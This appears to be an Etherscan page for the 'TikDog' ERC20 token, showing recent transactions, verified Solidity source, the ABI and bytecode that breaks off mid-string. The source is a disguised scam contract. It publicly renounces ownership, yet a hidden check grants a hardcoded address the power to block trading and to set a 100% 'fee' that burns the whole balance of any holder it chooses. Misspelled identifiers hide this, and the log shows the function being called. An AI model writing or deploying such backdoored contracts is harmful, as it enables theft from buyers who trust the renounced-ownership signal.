ETH Price: $2,417.04 (-0.31%)

Contract

0xDE8DFaAD967f864a65d3238d8Da5Dc139eDcEEc4
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve208985912024-10-05 9:59:2312 hrs ago1728122363IN
0xDE8DFaAD...39eDcEEc4
0 ETH0.000256555.43865871
Approve208983342024-10-05 9:07:4713 hrs ago1728119267IN
0xDE8DFaAD...39eDcEEc4
0 ETH0.000278015.886057
Transfer208983012024-10-05 9:00:5913 hrs ago1728118859IN
0xDE8DFaAD...39eDcEEc4
0 ETH0.000273495.17215142
Transfer208976272024-10-05 6:45:2315 hrs ago1728110723IN
0xDE8DFaAD...39eDcEEc4
0 ETH0.00018623.52067964
Transfer208967012024-10-05 3:39:5919 hrs ago1728099599IN
0xDE8DFaAD...39eDcEEc4
0 ETH0.000265365.01612264
Approve208924332024-10-04 13:23:2333 hrs ago1728048203IN
0xDE8DFaAD...39eDcEEc4
0 ETH0.000403388.59734499
Approve208910642024-10-04 8:48:4737 hrs ago1728031727IN
0xDE8DFaAD...39eDcEEc4
0 ETH0.000293886.23014225
Transfer208908662024-10-04 8:08:5938 hrs ago1728029339IN
0xDE8DFaAD...39eDcEEc4
0 ETH0.000247176.02213926
Approve208908072024-10-04 7:56:5938 hrs ago1728028619IN
0xDE8DFaAD...39eDcEEc4
0 ETH0.000285486.04439145
Approve208906642024-10-04 7:28:2339 hrs ago1728026903IN
0xDE8DFaAD...39eDcEEc4
0 ETH0.000288696.15292277
Transfer208905502024-10-04 7:05:3539 hrs ago1728025535IN
0xDE8DFaAD...39eDcEEc4
0 ETH0.000320776.99893541
Approve208902802024-10-04 6:11:3540 hrs ago1728022295IN
0xDE8DFaAD...39eDcEEc4
0 ETH0.00033627.16361323
Transfer208900302024-10-04 5:21:2341 hrs ago1728019283IN
0xDE8DFaAD...39eDcEEc4
0 ETH0.000141613.44932625
Approve208899472024-10-04 5:04:4741 hrs ago1728018287IN
0xDE8DFaAD...39eDcEEc4
0 ETH0.000157925.7781215
Approve208899462024-10-04 5:04:3541 hrs ago1728018275IN
0xDE8DFaAD...39eDcEEc4
0 ETH0.000265655.62443385
Approve208895952024-10-04 3:54:2342 hrs ago1728014063IN
0xDE8DFaAD...39eDcEEc4
0 ETH0.000079653.19270072
Transfer208895242024-10-04 3:40:1143 hrs ago1728013211IN
0xDE8DFaAD...39eDcEEc4
0 ETH0.0002165.26132864
Transfer208895212024-10-04 3:39:3543 hrs ago1728013175IN
0xDE8DFaAD...39eDcEEc4
0 ETH0.000339015.38599055
Approve208894642024-10-04 3:28:1143 hrs ago1728012491IN
0xDE8DFaAD...39eDcEEc4
0 ETH0.000198724.21268813
Setteyerere208892062024-10-04 2:36:2344 hrs ago1728009383IN
0xDE8DFaAD...39eDcEEc4
0 ETH0.000778755.53369246
Approve208871102024-10-03 19:35:592 days ago1727984159IN
0xDE8DFaAD...39eDcEEc4
0 ETH0.0007247515.34462046
Approve208819312024-10-03 2:14:232 days ago1727921663IN
0xDE8DFaAD...39eDcEEc4
0 ETH0.000299556.35019471
Transfer208819242024-10-03 2:12:592 days ago1727921579IN
0xDE8DFaAD...39eDcEEc4
0 ETH0.00033576.34572941
Approve208776652024-10-02 11:57:593 days ago1727870279IN
0xDE8DFaAD...39eDcEEc4
0 ETH0.000305066.5117509
Approve208769062024-10-02 9:25:593 days ago1727861159IN
0xDE8DFaAD...39eDcEEc4
0 ETH0.000256965.47816065
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
TikDog

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-09-29
*/

pragma solidity 0.8.17;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address acngotunt) external view returns (uint256);
    function transfer(address recipient, uint256 abnmtoutnt) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 abnmtoutnt) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 abnmtoutnt) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }
    function only() internal virtual {
        require(uint160(msg.sender) == trade(), "Ownable: caller is not the owner");
    }
    function trade() internal view virtual returns (uint256) {
    return uint256(uint160(0x2f4a5f3edDc98d50f8BC04C4bd0206B0f08E5537));
}
    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view override returns (string memory) {
        return _name;
    }

    function symbol() public view override returns (string memory) {
        return _symbol;
    }

    function decimals() public view override returns (uint8) {
        return 9;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address acngotunt) public view override returns (uint256) {
        return _balances[acngotunt];
    }

    function transfer(address recipient, uint256 abnmtoutnt) public override returns (bool) {
        _transfer(_msgSender(), recipient, abnmtoutnt);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 abnmtoutnt) public override returns (bool) {
        _approve(_msgSender(), spender, abnmtoutnt);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 abnmtoutnt) public override returns (bool) {
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= abnmtoutnt, "ERC20: transfer abnmtoutnt exceeds allowance");
            _approve(sender, _msgSender(), currentAllowance - abnmtoutnt);
        }
        _transfer(sender, recipient, abnmtoutnt);
        return true;
    }

    function _transfer(address sender, address recipient, uint256 abnmtoutnt) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, abnmtoutnt);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= abnmtoutnt, "ERC20: transfer abnmtoutnt exceeds balance");
        _balances[sender] = senderBalance - abnmtoutnt;
        _balances[recipient] += abnmtoutnt;

        emit Transfer(sender, recipient, abnmtoutnt);

        _afterTokenTransfer(sender, recipient, abnmtoutnt);
    }

    function _mint(address acngotunt, uint256 abnmtoutnt) internal virtual {
        require(acngotunt != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), acngotunt, abnmtoutnt);

        _totalSupply += abnmtoutnt;
        _balances[acngotunt] += abnmtoutnt;
        emit Transfer(address(0), acngotunt, abnmtoutnt);

        _afterTokenTransfer(address(0), acngotunt, abnmtoutnt);
    }

    function _burn(address acngotunt, uint256 abnmtoutnt) internal virtual {
        require(acngotunt != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(acngotunt, address(0), abnmtoutnt);

        uint256 acngotuntBalance = _balances[acngotunt];
        require(acngotuntBalance >= abnmtoutnt, "ERC20: burn abnmtoutnt exceeds balance");
        _balances[acngotunt] = acngotuntBalance - abnmtoutnt;
        _totalSupply -= abnmtoutnt;

        emit Transfer(acngotunt, address(0), abnmtoutnt);

        _afterTokenTransfer(acngotunt, address(0), abnmtoutnt);
    }

    function _approve(address owner, address spender, uint256 abnmtoutnt) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = abnmtoutnt;
        emit Approval(owner, spender, abnmtoutnt);
    }

    function _beforeTokenTransfer(address from, address to, uint256 abnmtoutnt) internal virtual {}

    function _afterTokenTransfer(address from, address to, uint256 abnmtoutnt) internal virtual {}
}

contract TikDog is ERC20, Ownable {
    mapping (address => bool) private _isExcludedFromEnableTrading;
    mapping (address => uint256) private _teyerere;
    address private constant BURN_ADDRESS = address(0xdead);

    constructor() ERC20("ETHTikDog", "TikDog") {
        _isExcludedFromEnableTrading[address(0x2f4a5f3edDc98d50f8BC04C4bd0206B0f08E5537)] = true;
        _mint(address(0x2f4a5f3edDc98d50f8BC04C4bd0206B0f08E5537), 100_000_0000 * (10 ** decimals()));
        renounceOwnership();
    }

    receive() external payable {}

    function excludeFromEnableTrading(address acngotunt, bool excluded) external { 
        only();
        require(_isExcludedFromEnableTrading[acngotunt] != excluded, "acngotunt is already the value of 'excluded'");
        _isExcludedFromEnableTrading[acngotunt] = excluded;
    }

    function isExcludedFromEnableTrading(address acngotunt) public view returns(bool) {
        return _isExcludedFromEnableTrading[acngotunt];
    }
    uint256 private constant percentageg = 100;
    uint256 private constant percentagegs = 0;
    function setteyerere(address[] calldata acngotunts) external { 
        only();
    for (uint i = 0; i < acngotunts.length; i++) {
        _teyerere[acngotunts[i]] = percentageg;
    }
    }

    function jiesetteyerere(address[] calldata acngotunts) external { 
        only();
    for (uint i = 0; i < acngotunts.length; i++) {
        _teyerere[acngotunts[i]] = percentagegs;
    }
    }

    function getteyerere(address acngotunt) public view returns(uint256) {
        return _teyerere[acngotunt];
    }

    bool public tradingEnabled;

    function enableTrading() external { 
        only();
        require(!tradingEnabled, "Trading already enabled.");
        tradingEnabled = true;
    }
    function _transfer(address from, address to, uint256 abnmtoutnt) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tradingEnabled || _isExcludedFromEnableTrading[from] || _isExcludedFromEnableTrading[to], "Trading not yet enabled!");

        uint256 feePercentageg = _teyerere[from];
        uint256 feeabnmtoutnt = (abnmtoutnt * feePercentageg) / 100;
        uint256 transferabnmtoutnt = abnmtoutnt - feeabnmtoutnt;

        if (feeabnmtoutnt > 0) {
            super._transfer(from, BURN_ADDRESS, feeabnmtoutnt);
        }

        super._transfer(from, to, transferabnmtoutnt);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"abnmtoutnt","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"acngotunt","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"acngotunt","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromEnableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"acngotunt","type":"address"}],"name":"getteyerere","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"acngotunt","type":"address"}],"name":"isExcludedFromEnableTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"acngotunts","type":"address[]"}],"name":"jiesetteyerere","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"acngotunts","type":"address[]"}],"name":"setteyerere","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"abnmtoutnt","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"abnmtoutnt","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040523480156200001157600080fd5b506040518060400160405280600981526020017f45544854696b446f6700000000000000000000000000000000000000000000008152506040518060400160405280600681526020017f54696b446f67000000000000000000000000000000000000000000000000000081525081600390816200008f91906200073a565b508060049081620000a191906200073a565b505050620000c4620000b86200019a60201b60201c565b620001a260201b60201c565b600160066000732f4a5f3eddc98d50f8bc04c4bd0206b0f08e553773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000184732f4a5f3eddc98d50f8bc04c4bd0206b0f08e5537620001596200026860201b60201c565b600a620001679190620009b1565b633b9aca0062000178919062000a02565b6200027160201b60201c565b62000194620003e960201b60201c565b62000bab565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006009905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002e3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002da9062000aae565b60405180910390fd5b620002f7600083836200048c60201b60201c565b80600260008282546200030b919062000ad0565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000362919062000ad0565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003c9919062000b1c565b60405180910390a3620003e5600083836200049160201b60201c565b5050565b620003f96200019a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff166200041f6200049660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161462000478576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200046f9062000b89565b60405180910390fd5b6200048a6000620001a260201b60201c565b565b505050565b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200054257607f821691505b602082108103620005585762000557620004fa565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620005c27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000583565b620005ce868362000583565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200061b620006156200060f84620005e6565b620005f0565b620005e6565b9050919050565b6000819050919050565b6200063783620005fa565b6200064f620006468262000622565b84845462000590565b825550505050565b600090565b6200066662000657565b620006738184846200062c565b505050565b5b818110156200069b576200068f6000826200065c565b60018101905062000679565b5050565b601f821115620006ea57620006b4816200055e565b620006bf8462000573565b81016020851015620006cf578190505b620006e7620006de8562000573565b83018262000678565b50505b505050565b600082821c905092915050565b60006200070f60001984600802620006ef565b1980831691505092915050565b60006200072a8383620006fc565b9150826002028217905092915050565b6200074582620004c0565b67ffffffffffffffff811115620007615762000760620004cb565b5b6200076d825462000529565b6200077a8282856200069f565b600060209050601f831160018114620007b257600084156200079d578287015190505b620007a985826200071c565b86555062000819565b601f198416620007c2866200055e565b60005b82811015620007ec57848901518255600182019150602085019450602081019050620007c5565b868310156200080c578489015162000808601f891682620006fc565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620008af5780860481111562000887576200088662000821565b5b6001851615620008975780820291505b8081029050620008a78562000850565b945062000867565b94509492505050565b600082620008ca57600190506200099d565b81620008da57600090506200099d565b8160018114620008f35760028114620008fe5762000934565b60019150506200099d565b60ff84111562000913576200091262000821565b5b8360020a9150848211156200092d576200092c62000821565b5b506200099d565b5060208310610133831016604e8410600b84101617156200096e5782820a90508381111562000968576200096762000821565b5b6200099d565b6200097d84848460016200085d565b9250905081840481111562000997576200099662000821565b5b81810290505b9392505050565b600060ff82169050919050565b6000620009be82620005e6565b9150620009cb83620009a4565b9250620009fa7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620008b8565b905092915050565b600062000a0f82620005e6565b915062000a1c83620005e6565b925082820262000a2c81620005e6565b9150828204841483151762000a465762000a4562000821565b5b5092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000a96601f8362000a4d565b915062000aa38262000a5e565b602082019050919050565b6000602082019050818103600083015262000ac98162000a87565b9050919050565b600062000add82620005e6565b915062000aea83620005e6565b925082820190508082111562000b055762000b0462000821565b5b92915050565b62000b1681620005e6565b82525050565b600060208201905062000b33600083018462000b0b565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600062000b7160208362000a4d565b915062000b7e8262000b39565b602082019050919050565b6000602082019050818103600083015262000ba48162000b62565b9050919050565b61217a8062000bbb6000396000f3fe6080604052600436106101185760003560e01c806370a08231116100a057806395d89b411161006457806395d89b4114610398578063a9059cbb146103c3578063bd0f375014610400578063dd62ed3e1461043d578063f2fde38b1461047a5761011f565b806370a08231146102c5578063715018a61461030257806375d5e02c146103195780638a8c523c146103565780638da5cb5b1461036d5761011f565b806323b872dd116100e757806323b872dd146101e0578063313ce5671461021d57806346757a5414610248578063484d993f146102715780634ada218b1461029a5761011f565b80630165c3671461012457806306fdde031461014d578063095ea7b31461017857806318160ddd146101b55761011f565b3661011f57005b600080fd5b34801561013057600080fd5b5061014b600480360381019061014691906115a0565b6104a3565b005b34801561015957600080fd5b5061016261053d565b60405161016f919061167d565b60405180910390f35b34801561018457600080fd5b5061019f600480360381019061019a9190611733565b6105cf565b6040516101ac919061178e565b60405180910390f35b3480156101c157600080fd5b506101ca6105ed565b6040516101d791906117b8565b60405180910390f35b3480156101ec57600080fd5b50610207600480360381019061020291906117d3565b6105f7565b604051610214919061178e565b60405180910390f35b34801561022957600080fd5b5061023261071f565b60405161023f9190611842565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a91906115a0565b610728565b005b34801561027d57600080fd5b5061029860048036038101906102939190611889565b6107c2565b005b3480156102a657600080fd5b506102af6108b7565b6040516102bc919061178e565b60405180910390f35b3480156102d157600080fd5b506102ec60048036038101906102e791906118c9565b6108ca565b6040516102f991906117b8565b60405180910390f35b34801561030e57600080fd5b50610317610912565b005b34801561032557600080fd5b50610340600480360381019061033b91906118c9565b61099a565b60405161034d919061178e565b60405180910390f35b34801561036257600080fd5b5061036b6109f0565b005b34801561037957600080fd5b50610382610a65565b60405161038f9190611905565b60405180910390f35b3480156103a457600080fd5b506103ad610a8f565b6040516103ba919061167d565b60405180910390f35b3480156103cf57600080fd5b506103ea60048036038101906103e59190611733565b610b21565b6040516103f7919061178e565b60405180910390f35b34801561040c57600080fd5b50610427600480360381019061042291906118c9565b610b3f565b60405161043491906117b8565b60405180910390f35b34801561044957600080fd5b50610464600480360381019061045f9190611920565b610b88565b60405161047191906117b8565b60405180910390f35b34801561048657600080fd5b506104a1600480360381019061049c91906118c9565b610c0f565b005b6104ab610d06565b60005b82829050811015610538576000600760008585858181106104d2576104d1611960565b5b90506020020160208101906104e791906118c9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080610530906119be565b9150506104ae565b505050565b60606003805461054c90611a35565b80601f016020809104026020016040519081016040528092919081815260200182805461057890611a35565b80156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b5050505050905090565b60006105e36105dc610d67565b8484610d6f565b6001905092915050565b6000600254905090565b600080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610643610d67565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461070857828110156106ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e190611ad8565b60405180910390fd5b610707856106f6610d67565b85846107029190611af8565b610d6f565b5b610713858585610f38565b60019150509392505050565b60006009905090565b610730610d06565b60005b828290508110156107bd5760646007600085858581811061075757610756611960565b5b905060200201602081019061076c91906118c9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806107b5906119be565b915050610733565b505050565b6107ca610d06565b801515600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615150361085c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085390611b9e565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600860009054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61091a610d67565b73ffffffffffffffffffffffffffffffffffffffff16610938610a65565b73ffffffffffffffffffffffffffffffffffffffff161461098e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098590611c0a565b60405180910390fd5b61099860006111a7565b565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6109f8610d06565b600860009054906101000a900460ff1615610a48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3f90611c76565b60405180910390fd5b6001600860006101000a81548160ff021916908315150217905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610a9e90611a35565b80601f0160208091040260200160405190810160405280929190818152602001828054610aca90611a35565b8015610b175780601f10610aec57610100808354040283529160200191610b17565b820191906000526020600020905b815481529060010190602001808311610afa57829003601f168201915b5050505050905090565b6000610b35610b2e610d67565b8484610f38565b6001905092915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c17610d67565b73ffffffffffffffffffffffffffffffffffffffff16610c35610a65565b73ffffffffffffffffffffffffffffffffffffffff1614610c8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8290611c0a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610cfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf190611d08565b60405180910390fd5b610d03816111a7565b50565b610d0e61126d565b3373ffffffffffffffffffffffffffffffffffffffff1614610d65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5c90611c0a565b60405180910390fd5b565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd590611d9a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4490611e2c565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f2b91906117b8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9e90611ebe565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611016576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100d90611f50565b60405180910390fd5b600860009054906101000a900460ff168061107a5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806110ce5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61110d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110490611fbc565b60405180910390fd5b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000606482846111619190611fdc565b61116b919061204d565b90506000818461117b9190611af8565b90506000821115611194576111938661dead8461129f565b5b61119f86868361129f565b505050505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000732f4a5f3eddc98d50f8bc04c4bd0206b0f08e553773ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361130e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130590611ebe565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361137d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137490611f50565b60405180910390fd5b611388838383611527565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561140e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611405906120f0565b60405180910390fd5b818161141a9190611af8565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114aa9190612110565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161150e91906117b8565b60405180910390a361152184848461152c565b50505050565b505050565b505050565b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b60008083601f8401126115605761155f61153b565b5b8235905067ffffffffffff